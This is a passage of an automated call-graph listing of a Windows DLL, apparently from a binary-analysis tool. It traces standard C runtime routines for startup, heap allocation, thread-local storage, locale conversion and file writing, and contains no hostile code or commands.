1000fbf3 16294->16354 16298 10009243 __close 66 API calls 16295->16298 16296->16240 16300 10009230 __calloc_impl 66 API calls 16297->16300 16301 1000fe3d 16298->16301 16304 100104d1 __flswbuf 66 API calls 16299->16304 16303 1000fddb 16300->16303 16306 10009230 __calloc_impl 66 API calls 16301->16306 16307 100082eb __calloc_impl 66 API calls 16303->16307 16305 1000fe83 16304->16305 16308 100100c5 16305->16308 16313 1000ab6e FindHandlerForForeignException 66 API calls 16305->16313 16309 1000fe46 16306->16309 16307->16335 16311 10010300 WriteFile 16308->16311 16312 100100d5 16308->16312 16310 100082eb __calloc_impl 66 API calls 16309->16310 16310->16335 16316 10010327 GetLastError 16311->16316 16320 100100aa 16311->16320 16314 10010179 16312->16314 16338 100100e3 16312->16338 16315 1000fe9e GetConsoleMode 16313->16315 16334 10010185 16314->16334 16336 10010228 16314->16336 16315->16308 16318 1000fec3 16315->16318 16316->16320 16317 1000fed2 GetConsoleCP 16317->16320 16345 1000feef 16317->16345 16318->16308 16318->16317 16319 10010363 16321 10009230 __calloc_impl 66 API calls 16319->16321 16319->16335 16320->16319 16322 1001033c 16320->16322 16320->16335 16324 10010380 16321->16324 16326 10010344 16322->16326 16327 10010358 16322->16327 16323 10010133 WriteFile 16323->16316 16323->16338 16332 10009243 __close 66 API calls 16324->16332 16325 1001027b WideCharToMultiByte 16325->16316 16329 100102ae WriteFile 16325->16329 16328 10009230 __calloc_impl 66 API calls 16326->16328 16367 10009256 16327->16367 16333 10010349 16328->16333 16329->16336 16337 100102dc GetLastError 16329->16337 16330 100101de WriteFile 16330->16316 16330->16334 16332->16335 16339 10009243 __close 66 API calls 16333->16339 16334->16319 16334->16320 16334->16330 16335->16292 16336->16319 16336->16320 16336->16325 16336->16329 16337->16336 16338->16319 16338->16320 16338->16323 16339->16335 16341 10010c66 77 API calls __locking 16341->16345 16342 100119d9 11 API calls __putwch_nolock 16342->16345 16343 1000ff8f WideCharToMultiByte 16343->16320 16344 1000ffba WriteFile 16343->16344 16344->16316 16344->16345 16345->16316 16345->16320 16345->16341 16345->16342 16345->16343 16346 1000fffc WriteFile 16345->16346 16364 100108c3 16345->16364 16346->16316 16346->16345 16386 100119b7 LeaveCriticalSection 16347->16386 16349 1001048b 16349->16236 16353 1000943b LeaveCriticalSection 16350->16353 16352 100119b5 16352->16280 16353->16352 16372 100118a6 16354->16372 16356 1000fc0f 16357 1000fc17 16356->16357 16358 1000fc28 SetFilePointer 16356->16358 16359 10009230 __calloc_impl 66 API calls 16357->16359 16360 1000fc40 GetLastError 16358->16360 16363 1000fc1c 16358->16363 16359->16363 16361 1000fc4a 16360->16361 16360->16363 16362 10009256 __dosmaperr 66 API calls 16361->16362 16362->16363 16363->16299 16365 1001088d __isleadbyte_l 75 API calls 16364->16365 16366 100108ce 16365->16366 16366->16345 16368 10009243 __close 66 API calls 16367->16368 16369 1000925c __dosmaperr 16368->16369 16370 10009230 __calloc_impl 66 API calls 16369->16370 16371 10009270 16370->16371 16371->16335 16373 100118c6 16372->16373 16374 100118af 16372->16374 16376 10009243 __close 66 API calls 16373->16376 16378 10011913 16373->16378 16375 10009243 __close 66 API calls 16374->16375 16377 100118b4 16375->16377 16379 100118f4 16376->16379 16380 10009230 __calloc_impl 66 API calls 16377->16380 16378->16356 16381 10009230 __calloc_impl 66 API calls 16379->16381 16382 100118bc 16380->16382 16383 100118fb 16381->16383 16382->16356 16384 100082eb __calloc_impl 66 API calls 16383->16384 16385 1001190b 16384->16385 16385->16356 16386->16349 16390 100119b7 LeaveCriticalSection 16387->16390 16389 1000fd8d 16389->16269 16390->16389 16391->15686 16393 10007cb9 16392->16393 16400 10007c1a 16392->16400 16394 1000a715 __calloc_impl 65 API calls 16393->16394 16395 10007cbf 16394->16395 16397 10009230 __calloc_impl 65 API calls 16395->16397 16396 1000a6d2 __FF_MSGBANNER 65 API calls 16396->16400 16398 10007cc5 16397->16398 16398->15643 16400->16396 16401 1000a532 _malloc 65 API calls 16400->16401 16402 10007c7d HeapAlloc 16400->16402 16403 1000a280 _malloc 3 API calls 16400->16403 16404 10007cb0 16400->16404 16405 10007ca4 16400->16405 16406 1000a715 __calloc_impl 65 API calls 16400->16406 16408 10007ca2 16400->16408 16410 10007bbd 16400->16410 16401->16400 16402->16400 16403->16400 16404->15643 16407 10009230 __calloc_impl 65 API calls 16405->16407 16406->16400 16407->16408 16409 10009230 __calloc_impl 65 API calls 16408->16409 16409->16404 16411 10007bc9 __calloc_impl 16410->16411 16412 10007bfa __calloc_impl 16411->16412 16413 10009513 __lock 66 API calls 16411->16413 16412->16400 16414 10007bdf 16413->16414 16415 10009d60 ___sbh_alloc_block 5 API calls 16414->16415 16416 10007bea 16415->16416 16418 10007c03 16416->16418 16421 1000943b LeaveCriticalSection 16418->16421 16420 10007c0a 16420->16412 16421->16420 16423 100095f4 16422->16423 16428 10009896 16422->16428 16424 100097e0 VirtualFree 16423->16424 16423->16428 16425 10009844 16424->16425 16426 10009853 VirtualFree HeapFree 16425->16426 16425->16428 16427 10008360 _memmove_s __VEC_memcpy 16426->16427 16427->16428 16428->15663 16432 1000943b LeaveCriticalSection 16429->16432 16431 10007b8c 16431->15655 16432->16431 16433 10008cc4 16434 10008cd0 16433->16434 16435 10008ccb 16433->16435 16439 10008bce 16434->16439 16447 1000d7ad 16435->16447 16438 10008ce1 16440 10008bda __calloc_impl 16439->16440 16444 10008c77 __calloc_impl 16440->16444 16445 10008c27 ___DllMainCRTStartup 16440->16445 16451 100089f5 16440->16451 16442 10008c57 16443 100089f5 __CRT_INIT@12 161 API calls 16442->16443 16442->16444 16443->16444 16444->16438 16445->16442 16445->16444 16446 100089f5 __CRT_INIT@12 161 API calls 16445->16446 16446->16442 16448 1000d7d0 16447->16448 16449 1000d7dd GetSystemTimeAsFileTime GetCurrentProcessId GetCurrentThreadId GetTickCount QueryPerformanceCounter 16447->16449 16448->16449 16450 1000d7d4 16448->16450 16449->16450 16450->16434 16452 10008a08 GetProcessHeap HeapAlloc 16451->16452 16453 10008b1f 16451->16453 16454 10008a2c GetVersionExA 16452->16454 16469 10008a25 16452->16469 16455 10008b25 16453->16455 16456 10008b5a 16453->16456 16457 10008a47 GetProcessHeap HeapFree 16454->16457 16458 10008a3c GetProcessHeap HeapFree 16454->16458 16461 10008b44 16455->16461 16455->16469 16635 1000a4d7 16455->16635 16459 10008bb8 16456->16459 16460 10008b5f 16456->16460 16462 10008a73 16457->16462 16458->16469 16459->16469 16638 1000aca7 16459->16638 16463 1000a9b0 __CRT_INIT@12 66 API calls 16460->16463 16468 1000d2b2 __CRT_INIT@12 67 API calls 16461->16468 16461->16469 16504 100092cf HeapCreate 16462->16504 16466 10008b64 16463->16466 16470 1000b195 __calloc_crt 66 API calls 16466->16470 16473 10008b4e 16468->16473 16469->16445 16474 10008b70 16470->16474 16471 10008aa9 16471->16469 16472 10008ab2 16471->16472 16514 1000ad10 GetModuleHandleA 16472->16514 16476 1000a9fb __mtterm 67 API calls 16473->16476 16474->16469 16477 1000a91e __mtterm 66 API calls 16474->16477 16479 10008b53 16476->16479 16480 10008b8e 16477->16480 16478 10008ab7 __RTC_Initialize 16483 10008aca GetCommandLineA 16478->16483 16497 10008abb 16478->16497 16481 10009329 __heap_term 4 API calls 16479->16481 16484 10008b95 16480->16484 16485 10008bac 16480->16485 16481->16469 16553 1000d62a 16483->16553 16487 1000aa38 __CRT_INIT@12 66 API calls 16484->16487 16488 10007b2f __crtLCMapStringA_stat 66 API calls 16485->16488 16490 10008b9c GetCurrentThreadId 16487->16490 16503 10008ac0 16488->16503 16490->16469 16492 10008ae4 16493 10008ae8 16492->16493 16599 1000d571 16492->16599 16593 1000a9fb 16493->16593 16547 10009329 16497->16547 16498 10008b08 16498->16503 16630 1000d2b2 16498->16630 16503->16469 16505 100092f2 16504->16505 16506 100092ef 16504->16506 16649 10009274 16505->16649 16506->16471 16509 10009301 16658 10009544 HeapAlloc 16509->16658 16510 10009325 16510->16471 16513 10009310 HeapDestroy 16513->16506 16515 1000ad22 16514->16515 16516 1000ad2b GetProcAddress GetProcAddress GetProcAddress GetProcAddress 16514->16516 16517 1000a9fb __mtterm 67 API calls 16515->16517 16518 1000ad75 TlsAlloc 16516->16518 16519 1000ad27 16517->16519 16521 1000adc3 TlsSetValue 16518->16521 16522 1000ae8f 16518->16522 16519->16478 16521->16522 16523 1000add4 16521->16523 16522->16478 16676 1000a4e6 16523->16676 16528 1000a8a7 __init_pointers 66 API calls 16529 1000adf4 16528->16529 16530 1000a8a7 __init_pointers 66 API calls 16529->16530 16531 1000ae04 16530->16531 16532 1000a8a7 __init_pointers 66 API calls 16531->16532 16533 1000ae14 16532->16533 16693 1000939d 16533->16693 16536 1000ae8a 16538 1000a9fb __mtterm 67 API calls 16536->16538 16537 1000a91e __mtterm 66 API calls 16539 1000ae35 16537->16539 16538->16522 16539->16536 16540 1000b195 __calloc_crt 66 API calls 16539->16540 16541 1000ae4e 16540->16541 16541->16536 16542 1000a91e __mtterm 66 API calls 16541->16542 16543 1000ae68 16542->16543 16543->16536 16544 1000ae6f 16543->16544 16545 1000aa38 __CRT_INIT@12 66 API calls 16544->16545 16546 1000ae77 GetCurrentThreadId 16545->16546 16546->16522 16548 10009335 16547->16548 16549 10009389 HeapDestroy 16547->16549 16550 10009378 HeapFree 16548->16550 16551 10009351 VirtualFree HeapFree 16548->16551 16549->16503 16550->16549 16551->16551 16552 10009377 16551->16552 16552->16550 16554 1000d665 16553->16554 16555 1000d646 GetEnvironmentStringsW 16553->16555 16557 1000d64e 16554->16557 16558 1000d700 16554->16558 16556 1000d65a GetLastError 16555->16556 16555->16557 16556->16554 16560 1000d680 GetEnvironmentStringsW 16557->16560 16561 1000d68f WideCharToMultiByte 16557->16561 16559 1000d708 GetEnvironmentStrings 16558->16559 16563 10008ada 16558->16563 16559->16563 16564 1000d718 16559->16564 16560->16561 16560->16563 16565 1000d6c3 16561->16565 16566 1000d6f5 FreeEnvironmentStringsW 16561->16566 16578 1000d05e 16563->16578 16567 1000b155 __malloc_crt 66 API calls 16564->16567 16568 1000b155 __malloc_crt 66 API calls 16565->16568 16566->16563 16569 1000d731 16567->16569 16570 1000d6c9 16568->16570 16571 1000d744 ___crtGetEnvironmentStringsA 16569->16571 16572 1000d738 FreeEnvironmentStringsA 16569->16572 16570->16566 16573 1000d6d2 WideCharToMultiByte 16570->16573 16576 1000d74c FreeEnvironmentStringsA 16571->16576 16572->16563 16574 1000d6ec 16573->16574 16575 1000d6e3 16573->16575 16574->16566 16577 10007b2f __crtLCMapStringA_stat 66 API calls 16575->16577 16576->16563 16577->16574 16703 1000a044 16578->16703 16580 1000d06a GetStartupInfoA 16581 1000b195 __calloc_crt 66 API calls 16580->16581 16582 1000d08b 16581->16582 16583 1000d2a9 __calloc_impl 16582->16583 16584 1000d1f0 16582->16584 16587 1000b195 __calloc_crt 66 API calls 16582->16587 16589 1000d173 16582->16589 16583->16492 16584->16583 16585 1000d226 GetStdHandle 16584->16585 16586 1000d28b SetHandleCount 16584->16586 16588 1000d238 GetFileType 16584->16588 16591 1000e5c6 ___crtInitCritSecAndSpinCount 66 API calls 16584->16591 16585->16584 16586->16583 16587->16582 16588->16584 16589->16583 16589->16584 16590 1000d19c GetFileType 16589->16590 16592 1000e5c6 ___crtInitCritSecAndSpinCount 66 API calls 16589->16592 16590->16589 16591->16584 16592->16589 16594 1000aa05 16593->16594 16598 1000aa11 16593->16598 16595 1000a91e __mtterm 66 API calls 16594->16595 16595->16598 16596 1000aa33 16596->16596 16597 1000aa25 TlsFree 16597->16596 16598->16596 16598->16597 16600 1000d584 16599->16600 16601 1000d589 GetModuleFileNameA 16599->16601 16704 1000f6de 16600->16704 16603 1000d5b0 16601->16603 16708 1000d3d9 16603->16708 16606 1000b155 __malloc_crt 66 API calls 16607 1000d5f2 16606->16607 16608 1000d3d9 _parse_cmdline 75 API calls 16607->16608 16609 10008af4 16607->16609 16608->16609 16609->16498 16610 1000d2fe 16609->16610 16611 1000d30b 16610->16611 16613 1000d310 _strlen 16610->16613 16612 1000f6de ___initmbctable 109 API calls 16611->16612 16612->16613 16614 1000b195 __calloc_crt 66 API calls 16613->16614 16617 10008afd 16613->16617 16622 1000d343 _strlen 16614->16622 16615 1000d39e 16616 10007b2f __crtLCMapStringA_stat 66 API calls 16615->16616 16616->16617 16617->16498 16624 1000a352 16617->16624 16618 1000b195 __calloc_crt 66 API calls 16618->16622 16619 1000d3c3 16620 10007b2f __crtLCMapStringA_stat 66 API calls 16619->16620 16620->16617 16622->16615 16622->16617 16622->16618 16622->16619 16623 100081ef __invoke_watson 10 API calls 16622->16623 16898 1000b7b8 16622->16898 16623->16622 16625 1000a35b __cinit 16624->16625 16907 1000e7df 16625->16907 16627 1000a37a __initterm_e 16629 1000a39b __cinit 16627->16629 16911 10008080 16627->16911 16629->16498 16632 1000d2b9 16630->16632 16631 1000d2fb 16631->16493 16632->16631 16633 1000d2cd DeleteCriticalSection 16632->16633 16634 10007b2f __crtLCMapStringA_stat 66 API calls 16632->16634 16633->16632 16634->16632 17011 1000a3e4 16635->17011 16637 1000a4e2 16637->16461 16639 1000acb0 16638->16639 16648 1000acfb 16638->16648 16642 1000acb9 TlsGetValue 16639->16642 16643 1000acdc 16639->16643 16640 1000ad06 TlsSetValue 16641 1000ad0f 16640->16641 16641->16469 16642->16643 16644 1000accc TlsGetValue 16642->16644 16645 1000a91e __mtterm 66 API calls 16643->16645 16644->16643 16646 1000acf2 16645->16646 17034 1000ab86 16646->17034 16648->16640 16648->16641 16660 1000a2df 16649->16660 16651 1000928b 16652 1000929a 16651->16652 16667 100081ef 16651->16667 16654 1000a316 _malloc 66 API calls 16652->16654 16655 100092a6 16654->16655 16656 100081ef __invoke_watson 10 API calls 16655->16656 16657 100092b5 16655->16657 16656->16657 16657->16509 16657->16510 16659 1000930b 16658->16659 16659->16510 16659->16513 16661 1000a2ea 16660->16661 16662 10009230 __calloc_impl 66 API calls 16661->16662 16663 1000a310 16661->16663 16664 1000a2ef 16662->16664 16663->16651 16665 100082eb __calloc_impl 66 API calls 16664->16665 16666 1000a2ff 16665->16666 16666->16651 16674 1000b330 16667->16674 16669 10008280 IsDebuggerPresent SetUnhandledExceptionFilter UnhandledExceptionFilter 16670 100082c3 GetCurrentProcess TerminateProcess 16669->16670 16673 100082b7 __invoke_watson 16669->16673 16671 10007ccf __invoke_watson 5 API calls 16670->16671 16672 100082e3 16671->16672 16672->16652 16673->16670 16675 1000b33c __VEC_memzero 16674->16675 16675->16669 16697 1000a915 16676->16697 16678 1000a4ec __init_pointers 16700 1000e54e 16678->16700 16681 1000a8a7 __init_pointers 66 API calls 16682 1000a528 16681->16682 16683 1000a8a7 TlsGetValue 16682->16683 16684 1000a8ba 16683->16684 16685 1000a8db GetModuleHandleA 16683->16685 16684->16685 16687 1000a8c4 TlsGetValue 16684->16687 16686 1000a8ec 16685->16686 16692 1000a8d3 16685->16692 16688 1000a83b __mtterm 62 API calls 16686->16688 16690 1000a8cf 16687->16690 16689 1000a8f1 16688->16689 16691 1000a8f5 GetProcAddress 16689->16691 16689->16692 16690->16685 16690->16692 16691->16692 16692->16528 16694 100093a6 16693->16694 16695 1000e5c6 ___crtInitCritSecAndSpinCount 66 API calls 16694->16695 16696 100093d4 16694->16696 16695->16694 16696->16536 16696->16537 16698 1000a8a7 __init_pointers 66 API calls 16697->16698 16699 1000a91c 16698->16699 16699->16678 16701 1000a8a7 __init_pointers 66 API calls 16700->16701 16702 1000a51e 16701->16702 16702->16681 16703->16580 16705 1000f6e7 16704->16705 16706 1000f6ee 16704->16706 16714 1000f544 16705->16714 16706->16601 16710 1000d3f6 16708->16710 16712 1000d463 16710->16712 16892 10010cce 16710->16892 16711 1000d561 16711->16606 16711->16609 16712->16711 16713 10010cce 75 API calls _parse_cmdline 16712->16713 16713->16712 16715 1000f550 __calloc_impl 16714->16715 16716 1000ab6e FindHandlerForForeignException 66 API calls 16715->16716 16717 1000f559 16716->16717 16718 1000f24d __setmbcp 67 API calls 16717->16718 16719 1000f563 16718->16719 16745 1000f2f1 16719->16745 16722 1000b155 __malloc_crt 66 API calls 16723 1000f584 16722->16723 16724 1000f6a3 __calloc_impl 16723->16724 16752 1000f36b 16723->16752 16724->16706 16727 1000f5b4 InterlockedDecrement 16728 1000f5d5 InterlockedIncrement 16727->16728 16730 1000f5c4 16727->16730 16728->16724 16731 1000f5eb 16728->16731 16729 1000f6b0 16729->16724 16732 10007b2f __crtLCMapStringA_stat 66 API calls 16729->16732 16735 1000f6c3 16729->16735 16730->16728 16734 10007b2f __crtLCMapStringA_stat 66 API calls 16730->16734 16731->16724 16737 10009513 __lock 66 API calls 16731->16737 16732->16735 16733 10009230 __calloc_impl 66 API calls 16733->16724 16736 1000f5d4 16734->16736 16735->16733 16736->16728 16739 1000f5ff InterlockedDecrement 16737->16739 16740 1000f67b 16739->16740 16741 1000f68e InterlockedIncrement 16739->16741 16740->16741 16743 10007b2f __crtLCMapStringA_stat 66 API calls 16740->16743 16762 1000f6a5 16741->16762 16744 1000f68d 16743->16744 16744->16741 16746 1000bbfe _LocaleUpdate::_LocaleUpdate 75 API calls 16745->16746 16747 1000f303 16746->16747 16748 1000f32c 16747->16748 16749 1000f30e GetOEMCP 16747->16749 16750 1000f331 GetACP 16748->16750 16751 1000f31e 16748->16751 16749->16751 16750->16751 16751->16722 16751->16724 16753 1000f2f1 getSystemCP 77 API calls 16752->16753 16754 1000f389 16753->16754 16757 1000f3d8 IsValidCodePage 16754->16757 16759 1000f394 setSBCS 16754->16759 16761 1000f3fd _memset __setmbcp 16754->16761 16755 10007ccf __invoke_watson 5 API calls 16756 1000f542 16755->16756 16756->16727 16756->16729 16758 1000f3ea GetCPInfo 16757->16758 16757->16759 16758->16759 16758->16761 16759->16755 16765 1000f0c3 GetCPInfo 16761->16765 16891 1000943b LeaveCriticalSection 16762->16891 16764 1000f6ac 16764->16724 16766 1000f0fa _memset 16765->16766 16767 1000f1a3 16765->16767 16775 1001128e 16766->16775 16771 10007ccf __invoke_watson 5 API calls 16767->16771 16773 1000f245 16771->16773 16773->16761 16774 100116b2 ___crtLCMapStringA 100 API calls 16774->16767 16776 1000bbfe _LocaleUpdate::_LocaleUpdate 75 API calls 16775->16776 16777 1001129f 16776->16777 16785 100110d6 16777->16785 16780 100116b2 16781 1000bbfe _LocaleUpdate::_LocaleUpdate 75 API calls 16780->16781 16782 100116c3 16781->16782 16844 10011310 16782->16844 16786 100110f5 GetStringTypeW 16785->16786 16787 10011120 16785->16787 16788 10011115 GetLastError 16786->16788 16789 1001110d 16786->16789 16787->16789 16790 10011207 16787->16790 16788->16787 16791 10011159 MultiByteToWideChar 16789->16791 16808 10011201 16789->16808 16813 10011e31 GetLocaleInfoA 16790->16813 16797 10011186 16791->16797 16791->16808 16793 10007ccf __invoke_watson 5 API calls 16795 1000f15e 16793->16795 16795->16780 16796 1001119b _memset __alloca_probe_16 16802 100111d4 MultiByteToWideChar 16796->16802 16796->16808 16797->16796 16800 10007c0c _malloc 66 API calls 16797->16800 16798 10011258 GetStringTypeA 16799 10011273 16798->16799 16798->16808 16805 10007b2f __crtLCMapStringA_stat 66 API calls 16799->16805 16800->16796 16803 100111fb 16802->16803 16804 100111ea GetStringTypeW 16802->16804 16809 1000fa35 16803->16809 16804->16803 16805->16808 16808->16793 16810 1000fa3d 16809->16810 16811 1000fa4e 16809->16811 16810->16811 16812 10007b2f __crtLCMapStringA_stat 66 API calls 16810->16812 16811->16808 16812->16811 16814 10011e62 16813->16814 16815 10011e5d 16813->16815 16816 10011814 ___ansicp 88 API calls 16814->16816 16817 10007ccf __invoke_watson 5 API calls 16815->16817 16816->16815 16818 1001122b 16817->16818 16818->16798 16818->16808 16819 10011e78 16818->16819 16820 10011eb6 GetCPInfo 16819->16820 16824 10011f40 16819->16824 16821 10011f2b MultiByteToWideChar 16820->16821 16822 10011ecd 16820->16822 16821->16824 16828 10011ee6 _strlen 16821->16828 16822->16821 16825 10011ed3 GetCPInfo 16822->16825 16823 10007ccf __invoke_watson 5 API calls 16826 1001124c 16823->16826 16824->16823 16825->16821 16827 10011ee0 16825->16827 16826->16798 16826->16808 16827->16821 16827->16828 16829 10007c0c _malloc 66 API calls 16828->16829 16831 10011f18 _memset __alloca_probe_16 16828->16831 16829->16831 16830 10011f75 MultiByteToWideChar 16832 10011f8d 16830->16832 16833 10011fac 16830->16833 16831->16824 16831->16830 16835 10011fb1 16832->16835 16836 10011f94 WideCharToMultiByte 16832->16836 16834 1000fa35 __freea 66 API calls 16833->16834 16834->16824 16837 10011fd0 16835->16837 16838 10011fbc WideCharToMultiByte 16835->16838 16836->16833 16839 1000b195 __calloc_crt 66 API calls 16837->16839 16838->16833 16838->16837 16840 10011fd8 16839->16840 16840->16833 16841 10011fe1 WideCharToMultiByte 16840->16841 16841->16833 16842 10011ff3 16841->16842 16843 10007b2f __crtLCMapStringA_stat 66 API calls 16842->16843 16843->16833 16845 1001132f LCMapStringW 16844->16845 16848 1001134a 16844->16848 16846 10011352 GetLastError 16845->16846 16845->16848 16846->16848 16847 10011547 16851 10011e31 ___ansicp 89 API calls 16847->16851 16848->16847 16849 100113a4 16848->16849 16850 100113bd MultiByteToWideChar 16849->16850 16852 1001153e 16849->16852 16850->16852 16860 100113ea 16850->16860 16854 1001156f 16851->16854 16853 10007ccf __invoke_watson 5 API calls 16852->16853 16855 1000f17e 16853->16855 16854->16852 16856 10011663 LCMapStringA 16854->16856 16857 10011588 16854->16857 16855->16774 16861 100115bf 16856->16861 16858 10011e78 ___convertcp 73 API calls 16857->16858 16863 1001159a 16858->16863 16859 1001143b MultiByteToWideChar 16864 10011454 LCMapStringW 16859->16864 16865 10011535 16859->16865 16862 10007c0c _malloc 66 API calls 16860->16862 16871 10011403 __alloca_probe_16 16860->16871 16866 1001168a 16861->16866 16870 10007b2f __crtLCMapStringA_stat 66 API calls 16861->16870 16862->16871 16863->16852 16867 100115a4 LCMapStringA 16863->16867 16864->16865 16869 10011475 16864->16869 16868 1000fa35 __freea 66 API calls 16865->16868 16866->16852 16873 10007b2f __crtLCMapStringA_stat 66 API calls 16866->16873 16867->16861 16876 100115c6 16867->16876 16868->16852 16872 1001147d 16869->16872 16875 100114a6 16869->16875 16870->16866 16871->16852 16871->16859 16872->16865 16874 1001148f LCMapStringW 16872->16874 16873->16852 16874->16865 16878 100114c1 __alloca_probe_16 16875->16878 16880 10007c0c _malloc 66 API calls 16875->16880 16879 100115d7 _memset __alloca_probe_16 16876->16879 16881 10007c0c _malloc 66 API calls 16876->16881 16877 100114f5 LCMapStringW 16882 1001150d WideCharToMultiByte 16877->16882 16883 1001152f 16877->16883 16878->16865 16878->16877 16879->16861 16885 10011615 LCMapStringA 16879->16885 16880->16878 16881->16879 16882->16883 16884 1000fa35 __freea 66 API calls 16883->16884 16884->16865 16886 10011631 16885->16886 16887 10011635 16885->16887 16890 1000fa35 __freea 66 API calls 16886->16890 16889 10011e78 ___convertcp 73 API calls 16887->16889 16889->16886 16890->16861 16891->16764 16895 10010c7d 16892->16895 16896 1000bbfe _LocaleUpdate::_LocaleUpdate 75 API calls 16895->16896 16897 10010c8e 16896->16897 16897->16710 16899 1000b7c5 16898->16899 16900 1000b7cd 16898->16900 16899->16900 16905 1000b7f4 16899->16905 16901 10009230 __calloc_impl 66 API calls 16900->16901 16902 1000b7d2 16901->16902 16903 100082eb __calloc_impl 66 API calls 16902->16903 16904 1000b7e1 16903->16904 16904->16622 16905->16904 16906 10009230 __calloc_impl 66 API calls 16905->16906 16906->16902 16908 1000e7e3 16907->16908 16909 1000a8a7 __init_pointers 66 API calls 16908->16909 16910 1000e7fb 16908->16910 16909->16908 16910->16627 16914 10008044 16911->16914 16913 10008089 16913->16629 16915 10008050 __calloc_impl 16914->16915 16922 1000a295 16915->16922 16921 10008071 __calloc_impl 16921->16913 16923 10009513 __lock 66 API calls 16922->16923 16924 10008055 16923->16924 16925 10007f5c 16924->16925 16926 1000a91e __mtterm 66 API calls 16925->16926 16927 10007f6c 16926->16927 16928 1000a91e __mtterm 66 API calls 16927->16928 16929 10007f7d 16928->16929 16937 10008000 16929->16937 16945 1000b715 16929->16945 16931 1000a8a7 __init_pointers 66 API calls 16933 10007ff5 16931->16933 16932 10007f9b 16934 10007fbd 16932->16934 16941 10007fe6 16932->16941 16958 1000b1dd 16932->16958 16935 1000a8a7 __init_pointers 66 API calls 16933->16935 16934->16937 16938 1000b1dd __realloc_crt 72 API calls 16934->16938 16939 10007fd4 16934->16939 16935->16937 16942 1000807a 16937->16942 16938->16939 16939->16937 16940 1000a8a7 __init_pointers 66 API calls 16939->16940 16940->16941 16941->16931 17007 1000a29e 16942->17007 16946 1000b721 __calloc_impl 16945->16946 16947 1000b731 16946->16947 16948 1000b74e 16946->16948 16949 10009230 __calloc_impl 66 API calls 16947->16949 16950 1000b78f HeapSize 16948->16950 16952 10009513 __lock 66 API calls 16948->16952 16951 1000b736 16949->16951 16954 1000b746 __calloc_impl 16950->16954 16953 100082eb __calloc_impl 66 API calls 16951->16953 16955 1000b75e ___sbh_find_block 16952->16955 16953->16954 16954->16932 16963 1000b7af 16955->16963 16961 1000b1e1 16958->16961 16960 1000b223 16960->16934 16961->16960 16962 1000b204 Sleep 16961->16962 16967 1000f81a 16961->16967 16962->16961 16966 1000943b LeaveCriticalSection 16963->16966 16965 1000b78a 16965->16950 16965->16954 16966->16965 16968 1000f826 __calloc_impl 16967->16968 16969 1000f83b 16968->16969 16970 1000f82d 16968->16970 16972 1000f842 16969->16972 16973 1000f84e 16969->16973 16971 10007c0c _malloc 66 API calls 16970->16971 16975 1000f835 __dosmaperr __calloc_impl 16971->16975 16974 10007b2f __crtLCMapStringA_stat 66 API calls 16972->16974 16980 1000f9c0 16973->16980 17002 1000f85b ___sbh_resize_block ___sbh_find_block ___crtGetEnvironmentStringsA 16973->17002 16974->16975 16975->16961 16976 1000f9f3 16978 1000a715 __calloc_impl 66 API calls 16976->16978 16977 1000f9c5 HeapReAlloc 16977->16975 16977->16980 16981 1000f9f9 16978->16981 16979 10009513 __lock 66 API calls 16979->17002 16980->16976 16980->16977 16982 1000fa17 16980->16982 16984 1000a715 __calloc_impl 66 API calls 16980->16984 16986 1000fa0d 16980->16986 16983 10009230 __calloc_impl 66 API calls 16981->16983 16982->16975 16985 10009230 __calloc_impl 66 API calls 16982->16985 16983->16975 16984->16980 16987 1000fa20 GetLastError 16985->16987 16989 10009230 __calloc_impl 66 API calls 16986->16989 16987->16975 16991 1000f98e 16989->16991 16990 1000f8e6 HeapAlloc 16990->17002 16991->16975 16992 1000f993 GetLastError 16991->16992 16992->16975 16993 1000f93b HeapReAlloc 16993->17002 16994 10009d60 ___sbh_alloc_block 5 API calls 16994->17002 16995 1000f9a6 16995->16975 16998 10009230 __calloc_impl 66 API calls 16995->16998 16996 1000a715 __calloc_impl 66 API calls 16996->17002 16997 100095b7 __VEC_memcpy VirtualFree VirtualFree HeapFree ___sbh_free_block 16997->17002 17000 1000f9b3 16998->17000 16999 1000f989 17001 10009230 __calloc_impl 66 API calls 16999->17001 17000->16975 17000->16987 17001->16991 17002->16975 17002->16976 17002->16979 17002->16990 17002->16993 17002->16994 17002->16995 17002->16996 17002->16997 17002->16999 17003 1000f95e 17002->17003 17006 1000943b LeaveCriticalSection 17003->17006 17005 1000f965 17005->17002 17006->17005 17010 1000943b LeaveCriticalSection 17007->17010 17009 1000807f 17009->16921 17010->17009 17012 1000a3f0 __calloc_impl 17011->17012 17013 10009513 __lock 66 API calls 17012->17013 17014 1000a3f7 17013->17014 17015 1000a466 __CRT_INIT@12 17014->17015 17018 1000a91e __mtterm 66 API calls 17014->17018 17028 1000a4b1 17015->17028 17019 1000a426 17018->17019 17021 1000a91e __mtterm 66 API calls 17019->17021 17020 1000a4ae __calloc_impl 17020->16637 17025 1000a434 17021->17025 17023 1000a4a5 17024 1000a280 _malloc 3 API calls 17023->17024 17024->17020 17025->17015 17026 1000a915 FindHandlerForForeignException 66 API calls 17025->17026 17027 1000a91e __mtterm 66 API calls 17025->17027 17026->17025 17027->17025 17029 1000a4b7 17028->17029 17030 1000a492 17028->17030 17033 1000943b LeaveCriticalSection 17029->17033 17030->17020 17032 1000943b LeaveCriticalSection 17030->17032 17032->17023 17033->17030 17036 1000ab92 __calloc_impl 17034->17036 17035 1000ac86 __calloc_impl 17035->16648 17036->17035 17037 1000abaa 17036->17037 17038 10007b2f __crtLCMapStringA_stat 66 API calls 17036->17038 17039 1000abb8 17037->17039 17040 10007b2f __crtLCMapStringA_stat 66 API calls 17037->17040 17038->17037 17041 1000abc6 17039->17041 17042 10007b2f __crtLCMapStringA_stat 66 API calls 17039->17042 17040->17039 17043 1000abd4 17041->17043 17044 10007b2f __crtLCMapStringA_stat 66 API calls 17041->17044 17042->17041 17045 1000abe2 17043->17045 17046 10007b2f __crtLCMapStringA_stat 66 API calls 17043->17046 17044->17043 17047 1000abf0 17045->17047 17048 10007b2f __crtLCMapStringA_stat 66 API calls 17045->17048 17046->17045 17049 1000ac01 17047->17049 17050 10007b2f __crtLCMapStringA_stat 66 API calls 17047->17050 17048->17047 17051 10009513 __lock 66 API calls 17049->17051 17050->17049 17052 1000ac09 17051->17052 17053 1000ac15 InterlockedDecrement 17052->17053 17054 1000ac2e 17052->17054 17053->17054 17056 1000ac20 17053->17056 17068 1000ac92 17054->17068 17056->17054 17058 10007b2f __crtLCMapStringA_stat 66 API calls 17056->17058 17058->17054 17059 10009513 __lock 66 API calls 17060 1000ac42 17059->17060 17062 1000eeff ___removelocaleref 8 API calls 17060->17062 17067 1000ac73 17060->17067 17065 1000ac57 17062->17065 17064 10007b2f 